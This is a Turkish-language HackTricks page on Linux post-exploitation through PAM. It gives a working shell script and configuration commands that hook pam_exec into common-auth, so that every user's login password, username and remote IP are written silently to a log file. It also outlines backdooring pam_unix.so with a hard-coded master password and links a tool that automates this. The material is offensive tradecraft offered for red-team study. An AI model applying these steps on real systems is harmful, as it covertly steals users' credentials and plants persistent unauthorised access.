Linux Post-Exploitation

AWS Hacking'i öğrenin ve uygulayın:HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

PAM ile Oturum Açma Şifrelerini Yakalama

Her kullanıcının giriş yaparken kullandığı her şifreyi kaydetmek için bir PAM modülü yapılandıralım. PAM nedir bilmiyorsanız şuraya bakın:

PAM - Pluggable Authentication Modules

Daha fazla ayrıntı için orijinal yazıya bakın. Bu sadece bir özet:

Teknik Genel Bakış: Pluggable Authentication Modules (PAM), Unix tabanlı sistemlerde kimlik doğrulamayı yönetmede esneklik sunar. Giriş süreçlerini özelleştirerek güvenliği artırabilirler ancak yanlış kullanıldığında risk oluşturabilirler. Bu özet, PAM kullanarak giriş kimlik bilgilerini yakalamak için bir teknik ve azaltma stratejilerini açıklar.

Kimlik Bilgilerini Yakalama:

  • toomanysecrets.sh adında bir bash betiği oluşturulur ve giriş denemelerini kaydetmek için yapılandırılır; tarih, kullanıcı adı ($PAM_USER), şifre (stdin aracılığıyla) ve uzak ana bilgisayar IP'si ($PAM_RHOST) /var/log/toomanysecrets.log dosyasına kaydedilir.

  • Betik yürütülebilir hale getirilir ve pam_exec.so modülü kullanılarak sessizce çalıştırılması ve kimlik doğrulama belirtecinin betiğe açık hale getirilmesi seçenekleriyle PAM yapılandırmasına (common-auth) entegre edilir.

  • Bu yaklaşım, bir Linux ana bilgisayarının nasıl istismar edilerek kimlik bilgilerinin gizlice kaydedilebileceğini göstermektedir.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

PAM Arka Kapı Ekleme

Daha fazla ayrıntı için orijinal yazıya bakın. Bu sadece bir özet:

Pluggable Authentication Module (PAM), Linux altında kullanılan bir sistemdir ve kullanıcı kimlik doğrulaması için kullanılır. Üç ana kavram üzerinde çalışır: kullanıcı adı, şifre ve hizmet. Her hizmet için yapılandırma dosyaları, kimlik doğrulamasını ele alan paylaşılan kütüphanelerin bulunduğu /etc/pam.d/ dizininde bulunur.

Amaç: PAM'ı değiştirerek belirli bir şifre ile kimlik doğrulamasına izin vermek ve gerçek kullanıcı şifresini atlamak. Bu özellikle, neredeyse tüm hizmetler tarafından şifre doğrulaması için kullanılan common-auth dosyasında bulunan pam_unix.so paylaşılan kütüphaneye odaklanmaktadır.

pam_unix.so'yi Değiştirme Adımları:

  1. Kimlik Doğrulama Yönergesini Bulun common-auth dosyasında:

  • Kullanıcının şifresini kontrol etmekten sorumlu olan satır pam_unix.so'yu çağırır.

  1. Kaynak Kodunu Değiştirin:

  • pam_unix_auth.c kaynak dosyasına, önceden belirlenmiş bir şifre kullanıldığında erişimi sağlayan bir koşullu ifade ekleyin, aksi takdirde normal kimlik doğrulama sürecine devam eder.

  1. Değiştirilmiş pam_unix.so kütüphanesini Yeniden Derleyin ve Değiştirin uygun dizine.

  2. Test Etme:

  • Önceden belirlenmiş şifre ile çeşitli hizmetlere (giriş, ssh, sudo, su, ekran koruyucu) erişim sağlanırken normal kimlik doğrulama süreçleri etkilenmez.

Bu süreci https://github.com/zephrax/linux-pam-backdoor ile otomatikleştirebilirsiniz.

Last updated